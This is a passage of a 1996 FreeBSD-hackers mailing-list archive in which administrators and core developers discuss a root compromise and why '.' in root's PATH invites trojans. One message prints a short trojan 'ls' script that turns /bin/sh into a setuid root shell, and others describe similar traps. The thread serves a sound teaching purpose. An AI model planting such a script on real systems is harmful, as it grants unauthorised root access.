mask. I have a pc here at home and i have installed bsd and i want to put it to some good use :-) -Raj (praj@nando.net) From owner-freebsd-hackers Mon Jun 24 23:13:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA19267 for hackers-outgoing; Mon, 24 Jun 1996 23:13:11 -0700 (PDT) Received: from grumble.grondar.za (grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA19242; Mon, 24 Jun 1996 23:12:54 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id IAA07772; Tue, 25 Jun 1996 08:11:26 +0200 (SAT) Message-Id: <199606250611.IAA07772@grumble.grondar.za> To: -Vince- cc: hackers@freebsd.org, security@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 08:11:25 +0200 From: Mark Murray Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [cc: trimmed] -Vince- wrote: > > Try me. Cut out the rubbish and the library crap. > > Well, it's actually easier to mail you the binary... Please do, or FTP it to ftp.grondar.za:/incoming. M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 23:26:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA19909 for hackers-outgoing; Mon, 24 Jun 1996 23:26:56 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA19904; Mon, 24 Jun 1996 23:26:55 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id XAA29359; Mon, 24 Jun 1996 23:25:33 -0700 (PDT) Date: Mon, 24 Jun 1996 23:25:29 -0700 (PDT) From: -Vince- To: Mark Murray cc: hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250611.IAA07772@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Mark Murray wrote: > [cc: trimmed] > > -Vince- wrote: > > > > Try me. Cut out the rubbish and the library crap. > > > > Well, it's actually easier to mail you the binary... > > Please do, or FTP it to ftp.grondar.za:/incoming. Think the problem is solved already but I'll mail you the binary.. Cheers, -Vince- richardc@CSUA.Berkeley.EDU - vince@COSC.GOV - vince@cygnus.sy.yale.edu GUS Mailing Lists Admin - http://www.COSC.GOV/~vince UC Berkeley AstroPhysics (B.S.) - Electrical Engineering (Honorary B.S.) Chabot Observatory & Science Center - Oakland, California USA Computing Networking Operations - Advisory Council Member Running FreeBSD - Real UN*X for Free! Linda Wong/Vivian Chow/Hacken Lee/Danny Chan/Priscilla Chan Fan Club Mailing Lists Admin 1996 Estoril Blue BMW ///M3 - BMW CCA Member Golden Gate Chapter From owner-freebsd-hackers Mon Jun 24 23:30:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20115 for hackers-outgoing; Mon, 24 Jun 1996 23:30:10 -0700 (PDT) Received: from nvsgi1.netvision.net.il (nvsgi1.NetVision.net.il [194.90.1.31]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA20046 for ; Mon, 24 Jun 1996 23:29:20 -0700 (PDT) Received: from Burka.NetVision.net.il (gena@burka.NetVision.net.il [194.90.6.15]) by nvsgi1.netvision.net.il (8.7.5/8.7.3) with SMTP id XAA21615 for ; Tue, 25 Jun 1996 23:29:15 -0700 (PDT) Message-ID: X-Mailer: XFMail 0.4-prerelease [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Date: Tue, 25 Jun 1996 09:30:28 +0200 (IST) X-Face: #v>4HN>#D_"[olq9y`HqTYkLVB89Xy|3')Vs9v58JQ*u-xEJVKY`xa.}E?z0RkLI/P&;BJmi0#u=W0).-Y'J4(dw{"54NhSG|YYZG@[)(`e! >jN#L!~qI5fE-JHS+< Organization: NetVision Ltd. From: Gennady Sorokopud To: hackers@freebsd.org Subject: poor Chuck :-) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! Look what some gardening association did to our lovely demon :-) http://www.nhn.uoknor.edu/~howard/images/flowers/devilf.gif Best regards. -------- Gennady B. Sorokopud - System programmer at NetVision Israel. E-Mail: Gennady Sorokopud Homepage: http://www.netvision.net.il/~gena This message was sent at 06/25/96 09:30:28 by XF-Mail From owner-freebsd-hackers Mon Jun 24 23:30:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20180 for hackers-outgoing; Mon, 24 Jun 1996 23:30:34 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA20152; Mon, 24 Jun 1996 23:30:24 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id IAA07815; Tue, 25 Jun 1996 08:25:11 +0200 (SAT) Message-Id: <199606250625.IAA07815@grumble.grondar.za> To: -Vince- cc: Matthew Jason White , Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 08:25:10 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > > I think perhaps a better question to be asking is how this guy got a > > suid shell on that system. It could have been a booby-trapped program > > that got run as root, but one would hope that such a chintsy method > > wouldn't work on most systems. > > Yeah, that's the real question is like if he can transfer the > binary from another machine and have it work... other people can do the > same thing and gain access to FreeBSD boxes as root as long as they have > a account on that machine... I must be a little harsh here, but I'll be diplomatic, OK? :-) You didn't know it was a setuid file, in fact you seemed not to know what a setuid file was. (Am I correct?) If someone has root on your machine, which he will have if he has a setuid shell, he has the ability to compromise your whole (possibly weakly set up) network. If you do not know the basics, like setuid, you are WIDE open for this kind of attack. This shell could have been created two ways (That are currently in popular cracker use): 1) The cracker snooped your root password somehow, (digging through your desk/dustbin or by running a snooper somewhere), then created this suid shell for future use. 2) The Cracker made a trojan script somewhere (usually exploiting some admins (roots) who have "." in their path). This way he creates a script that when run as root will make him a suid program. after this he has you by tender bits. There are other ways, but these are the most popular. For much more info, I recommend "Practical Unix Security" from O'Reilly and Associates, (By Garfinkel?) M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 23:33:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20346 for hackers-outgoing; Mon, 24 Jun 1996 23:33:36 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA20340; Mon, 24 Jun 1996 23:33:33 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id XAA00291; Mon, 24 Jun 1996 23:32:56 -0700 (PDT) Date: Mon, 24 Jun 1996 23:32:55 -0700 (PDT) From: -Vince- To: Mark Murray cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250625.IAA07815@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Mark Murray wrote: > -Vince- wrote: > > > I think perhaps a better question to be asking is how this guy got a > > > suid shell on that system. It could have been a booby-trapped program > > > that got run as root, but one would hope that such a chintsy method > > > wouldn't work on most systems. > > > > Yeah, that's the real question is like if he can transfer the > > binary from another machine and have it work... other people can do the > > same thing and gain access to FreeBSD boxes as root as long as they have > > a account on that machine... > > I must be a little harsh here, but I'll be diplomatic, OK? :-) > > You didn't know it was a setuid file, in fact you seemed not to know > what a setuid file was. (Am I correct?) If someone has root on your > machine, which he will have if he has a setuid shell, he has the > ability to compromise your whole (possibly weakly set up) network. > > If you do not know the basics, like setuid, you are WIDE open for this > kind of attack. Well, I know what a setuid is but didn't know it was called a setuid since it has that s in the permissions... Also, on our machine, the wheel group only has chad, jbhunt, vince and root and the only person who can login to root directly is chad at the console, we all need to su. > This shell could have been created two ways (That are currently in > popular cracker use): > > 1) The cracker snooped your root password somehow, (digging through > your desk/dustbin or by running a snooper somewhere), then created > this suid shell for future use. This isn't possible since Gaianet isn't opened to the public for people to snoop around. > 2) The Cracker made a trojan script somewhere (usually exploiting > some admins (roots) who have "." in their path). This way he creates > a script that when run as root will make him a suid program. > after this he has you by tender bits. Hmmm, doesn't everyone have . as their path since all . does is allow someone to run stuff from the current directory... > There are other ways, but these are the most popular. > > For much more info, I recommend "Practical Unix Security" from > O'Reilly and Associates, (By Garfinkel?) I have that book but there are always ways no one knows about ;) Vince From owner-freebsd-hackers Mon Jun 24 23:36:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20572 for hackers-outgoing; Mon, 24 Jun 1996 23:36:50 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA20552; Mon, 24 Jun 1996 23:36:44 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id IAA18992; Tue, 25 Jun 1996 08:36:17 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606250636.IAA18992@gvr.win.tue.nl> Subject: Re: No comment character in hosts.equiv To: danny@auscert.org.au (Danny Smith) Date: Tue, 25 Jun 1996 08:36:16 +0200 (MET DST) Cc: jkh@time.cdrom.com, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <199606242355.JAA29733@amethyst.auscert.org.au> from Danny Smith at "Jun 25, 96 09:55:12 am" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Danny Smith wrote: -- Start of PGP encoded section. > (Note the change of subject line!) > > "Jordan K. Hubbard" writes: > > > Hmmm. We have reason to believe that he *didn't* get root (though > > we're still assuming he did, just to be paranoid) and if the mod times > > can be trusted, hosts.equiv hasn't been touched in many months (and > > localhost is commented out). > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > There is no comment character in either the hosts.equiv file or the > .rhosts file. Use of this may allow someone to spoof DNS and gained > trusted access. > > Check out the code relating to calls to ruserok(). Wrong. FreeBSD has a comment char. Put in before the release of 2.1.0. Look in usr/src/lib/libc/net/rcmd.c in __ivaliduser. -Guido From owner-freebsd-hackers Mon Jun 24 23:41:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA21380 for hackers-outgoing; Mon, 24 Jun 1996 23:41:45 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA21310; Mon, 24 Jun 1996 23:41:30 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id IAA08093; Tue, 25 Jun 1996 08:39:37 +0200 (SAT) Message-Id: <199606250639.IAA08093@grumble.grondar.za> To: -Vince- cc: Mark Murray , hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 08:39:37 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > > If you do not know the basics, like setuid, you are WIDE open for this > > kind of attack. > > Well, I know what a setuid is but didn't know it was called a setuid > since it has that s in the permissions... Also, on our machine, the wheel > group only has chad, jbhunt, vince and root and the only person who can > login to root directly is chad at the console, we all need to su. Ok... > > This shell could have been created two ways (That are currently in > > popular cracker use): > > > > 1) The cracker snooped your root password somehow, (digging through > > your desk/dustbin or by running a snooper somewhere), then created > > this suid shell for future use. > > This isn't possible since Gaianet isn't opened to the public for > people to snoop around. Physically, OK, but electronically? > > 2) The Cracker made a trojan script somewhere (usually exploiting > > some admins (roots) who have "." in their path). This way he creates > > a script that when run as root will make him a suid program. > > after this he has you by tender bits. > > Hmmm, doesn't everyone have . as their path since all . does is allow > someone to run stuff from the current directory... Not root! this leaves you wide open for trojans. As root you should have to type ./foo to run foo in the current directory. > > There are other ways, but these are the most popular. > > > > For much more info, I recommend "Practical Unix Security" from > > O'Reilly and Associates, (By Garfinkel?) > > I have that book but there are always ways no one knows about ;) Sure! :-) M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 23:42:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA21494 for hackers-outgoing; Mon, 24 Jun 1996 23:42:08 -0700 (PDT) Received: from onyx.auscert.org.au (onyx0.auscert.org.au [203.5.112.10]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA21432; Mon, 24 Jun 1996 23:41:54 -0700 (PDT) Received: from amethyst.auscert.org.au (amethyst.auscert.org.au [203.5.112.218]) by onyx.auscert.org.au (8.7.5/8.7.1) with ESMTP id QAA11651; Tue, 25 Jun 1996 16:41:15 +1000 (EST) Received: from localhost (localhost [127.0.0.1]) by amethyst.auscert.org.au (8.7.5/8.7.2) with SMTP id QAA04407; Tue, 25 Jun 1996 16:41:12 +1000 (EST) Message-Id: <199606250641.QAA04407@amethyst.auscert.org.au> X-Authentication-Warning: amethyst.auscert.org.au: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: exmh version 1.6.7 5/3/96 To: guido@gvr.win.tue.nl (Guido van Rooij) cc: danny@auscert.org.au (Danny Smith), jkh@time.cdrom.com, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: No comment character in hosts.equiv In-reply-to: Your message of "Tue, 25 Jun 1996 08:36:16 +0200." <199606250636.IAA18992@gvr.win.tue.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 25 Jun 1996 16:41:10 +1000 From: Danny Smith Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Guido van Rooij writes: > Danny Smith wrote: > -- Start of PGP encoded section. > > (Note the change of subject line!) > > > > "Jordan K. Hubbard" writes: > > > > > Hmmm. We have reason to believe that he *didn't* get root (though > > > we're still assuming he did, just to be paranoid) and if the mod times > > > can be trusted, hosts.equiv hasn't been touched in many months (and > > > localhost is commented out). > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > > > There is no comment character in either the hosts.equiv file or the > > .rhosts file. Use of this may allow someone to spoof DNS and gained > > trusted access. > > > > Check out the code relating to calls to ruserok(). > > Wrong. FreeBSD has a comment char. Put in before the release of 2.1.0. > Look in usr/src/lib/libc/net/rcmd.c in __ivaliduser. OK, I verified this on our 2.0.5 test system before mailing. Looks like I may have been hit by the "checking the previous version" problem. I haven't checked a 2.1.0 system, but will try and get to it tomorrow. Danny Smith. ========================================================================== Danny Smith | Fax: +61 7 3365 4477 AUSCERT | Phone: +61 7 3365 4417 c/- Prentice Centre | (answered during business hours) The University of Queensland | (on call after hours for emergencies) Qld. 4072. Australia | Internet: auscert@auscert.org.au From owner-freebsd-hackers Mon Jun 24 23:47:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA22060 for hackers-outgoing; Mon, 24 Jun 1996 23:47:15 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA22055; Mon, 24 Jun 1996 23:47:12 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id XAA01680; Mon, 24 Jun 1996 23:46:04 -0700 (PDT) Date: Mon, 24 Jun 1996 23:46:03 -0700 (PDT) From: -Vince- To: Mark Murray cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250639.IAA08093@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Mark Murray wrote: > -Vince- wrote: > > > If you do not know the basics, like setuid, you are WIDE open for this > > > kind of attack. > > > > Well, I know what a setuid is but didn't know it was called a setuid > > since it has that s in the permissions... Also, on our machine, the wheel > > group only has chad, jbhunt, vince and root and the only person who can > > login to root directly is chad at the console, we all need to su. > > Ok... > > > > This shell could have been created two ways (That are currently in > > > popular cracker use): > > > > > > 1) The cracker snooped your root password somehow, (digging through > > > your desk/dustbin or by running a snooper somewhere), then created > > > this suid shell for future use. > > > > This isn't possible since Gaianet isn't opened to the public for > > people to snoop around. > > Physically, OK, but electronically? Electronically is a different story.... Since there are over 1000 users on this machine.... but we do know who hacked root access... on our other machine earth like i mentioned earlier, one person just did ypwhich to get root access but that was with 2.1R, -current seemed to fix this. > > > 2) The Cracker made a trojan script somewhere (usually exploiting > > > some admins (roots) who have "." in their path). This way he creates > > > a script that when run as root will make him a suid program. > > > after this he has you by tender bits. > > > > Hmmm, doesn't everyone have . as their path since all . does is allow > > someone to run stuff from the current directory... > > Not root! this leaves you wide open for trojans. As root you should > have to type ./foo to run foo in the current directory. Hmmm, really? It seems like almost all systems root has . for the path but if the directory for root is like read, write, execute by root only, how will they get into it? > > > There are other ways, but these are the most popular. > > > > > > For much more info, I recommend "Practical Unix Security" from > > > O'Reilly and Associates, (By Garfinkel?) > > > > I have that book but there are always ways no one knows about ;) > > Sure! :-) That's the thing like the mount_union hole, that has probably been there for ages and other people may have been using it as a backdoor for quite some time before it was discovered.... Vince From owner-freebsd-hackers Tue Jun 25 00:01:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA23250 for hackers-outgoing; Tue, 25 Jun 1996 00:01:30 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA23217; Tue, 25 Jun 1996 00:01:19 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id HAA29211; Tue, 25 Jun 1996 07:58:33 +0100 (BST) To: -Vince- cc: Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt From: "Gary Palmer" Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 23:32:55 PDT." Date: Tue, 25 Jun 1996 07:58:32 +0100 Message-ID: <29209.835685912@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote in message ID : > Hmmm, doesn't everyone have . as their path since all . does is allow > someone to run stuff from the current directory... No, everyone does NOT have `.' in their paths! I most certainly don't, as I know that it's ALL to easy to have someone break your system security that way. Imagine if you are looking into something as root, and have `.' in your path. You go into someone elses directory, and do a `ls'. All they need is a wrapper program called `ls' in that dir which copies /bin/sh to some directory, chowns it to root, then sets the setuid bit, and THEN exec's ls with the arguments given, an BANG, there goes your system security. See the problem? It's a bit of a pain if you are doing s/w development, but it's more than repaid in security ... It's why we put up with the common complaint from newbies about not being able to run programs in their current directory, as `.' isn't in root's path by default when we ship the system. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Tue Jun 25 00:08:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA24120 for hackers-outgoing; Tue, 25 Jun 1996 00:08:10 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA24111 for ; Tue, 25 Jun 1996 00:08:06 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id AAA03315 for ; Tue, 25 Jun 1996 00:07:54 -0700 (PDT) Message-Id: <199606250707.AAA03315@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: freebsd-hackers@freebsd.org Subject: Re: Automatic PPP-detecting getty and pppd!!! In-reply-to: Your message of "Tue, 25 Jun 1996 13:48:10 +0930." <199606250418.NAA23748@al.imforei.apana.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 25 Jun 1996 00:07:45 -0700 From: Amancio Hasty Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >From The Desk Of Peter Childs : > The system we are using here is the beta mgetty-99-May31 with AUTO_PPP Say can anyone make available mgetty-99-May31? Tnks, Amancio From owner-freebsd-hackers Tue Jun 25 00:14:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA25009 for hackers-outgoing; Tue, 25 Jun 1996 00:14:00 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA24973; Tue, 25 Jun 1996 00:13:50 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id JAA08662; Tue, 25 Jun 1996 09:12:52 +0200 (SAT) Message-Id: <199606250712.JAA08662@grumble.grondar.za> To: -Vince- cc: Mark Murray , hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 09:12:50 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > > > Hmmm, doesn't everyone have . as their path since all . does is allow > > > someone to run stuff from the current directory... > > > > Not root! this leaves you wide open for trojans. As root you should > > have to type ./foo to run foo in the current directory. > > Hmmm, really? It seems like almost all systems root has . for the > path but if the directory for root is like read, write, execute by root > only, how will they get into it? Example: user suspects you may be a DOS user, and are likely to try to type the "dir" or "cls" command every now and then (by mistake). In his home directory he places a script called "dir" that creates a suid shell (silently) then prints the usual "command not found" error. He then phones you, asking for support, and tries to trick you into running his script. Having "." in your path makes his trickery easier. Voila! M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Tue Jun 25 00:14:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA25156 for hackers-outgoing; Tue, 25 Jun 1996 00:14:47 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA25128; Tue, 25 Jun 1996 00:14:40 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id AAA03862; Tue, 25 Jun 1996 00:14:37 -0700 (PDT) Message-Id: <199606250714.AAA03862@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: "Gary Palmer" cc: -Vince- , Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Tue, 25 Jun 1996 07:58:32 BST." <29209.835685912@palmer.demon.co.uk> From: David Greenman Reply-To: davidg@root.com Date: Tue, 25 Jun 1996 00:14:37 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >-Vince- wrote in message ID >: >> Hmmm, doesn't everyone have . as their path since all . does is allow >> someone to run stuff from the current directory... > >No, everyone does NOT have `.' in their paths! I most certainly don't, >as I know that it's ALL to easy to have someone break your system >security that way. Imagine if you are looking into something as root, >and have `.' in your path. You go into someone elses directory, and do >a `ls'. All they need is a wrapper program called `ls' in that dir >which copies /bin/sh to some directory, chowns it to root, then sets >the setuid bit, and THEN exec's ls with the arguments given, an BANG, >there goes your system security. Actually, this particular problem can be avoided by putting "." last in the search path rather than first. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue Jun 25 00:25:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA26347 for hackers-outgoing; Tue, 25 Jun 1996 00:25:22 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA26339; Tue, 25 Jun 1996 00:25:20 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id AAA06126; Tue, 25 Jun 1996 00:25:02 -0700 (PDT) Date: Tue, 25 Jun 1996 00:25:02 -0700 (PDT) From: -Vince- To: Gary Palmer cc: Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <29209.835685912@palmer.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Gary Palmer wrote: > -Vince- wrote in message ID > : > > Hmmm, doesn't everyone have . as their path since all . does is allow > > someone to run stuff from the current directory... > > No, everyone does NOT have `.' in their paths! I most certainly don't, > as I know that it's ALL to easy to have someone break your system > security that way. Imagine if you are looking into something as root, > and have `.' in your path. You go into someone elses directory, and do > a `ls'. All they need is a wrapper program called `ls' in that dir > which copies /bin/sh to some directory, chowns it to root, then sets > the setuid bit, and THEN exec's ls with the arguments given, an BANG, > there goes your system security. > > See the problem? It's a bit of a pain if you are doing s/w > development, but it's more than repaid in security ... It's why we put > up with the common complaint from newbies about not being able to run > programs in their current directory, as `.' isn't in root's path by > default when we ship the system. Hmmm, I see people don't have it at the beginning of their path but they do for the end even on CERFNet when they talk about security, all their defaults have . at the end.. Vince From owner-freebsd-hackers Tue Jun 25 00:28:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA26640 for hackers-outgoing; Tue, 25 Jun 1996 00:28:29 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA26603; Tue, 25 Jun 1996 00:28:21 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.7.3) with SMTP id AAA24988; Tue, 25 Jun 1996 00:27:00 -0700 (PDT) Message-Id: <199606250727.AAA24988@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: -Vince- cc: Mark Murray , hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of Mon, 24 Jun 96 23:32:55 -0700. Date: Tue, 25 Jun 1996 00:27:00 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> 2) The Cracker made a trojan script somewhere (usually exploiting >> some admins (roots) who have "." in their path). This way he creates >> a script that when run as root will make him a suid program. >> after this he has you by tender bits. > Hmmm, doesn't everyone have . as their path since all . does is allow >someone to run stuff from the current directory... Assume root has "." in its path. Hacker puts this little script in his dir, maybe also in /tmp/; it's called "ls" (imagine the coincidence), and it's executable by all: #!/bin/sh chown root /bin/sh > /dev/null 2>&1 chmod u+s,a+x /bin/sh > /dev/null 2>&1 ls $\* Then sits back and waits for the sysadmin to come along and type "ls" in one of those directories. Pop quiz: what is the result? ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Tue Jun 25 00:29:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA26770 for hackers-outgoing; Tue, 25 Jun 1996 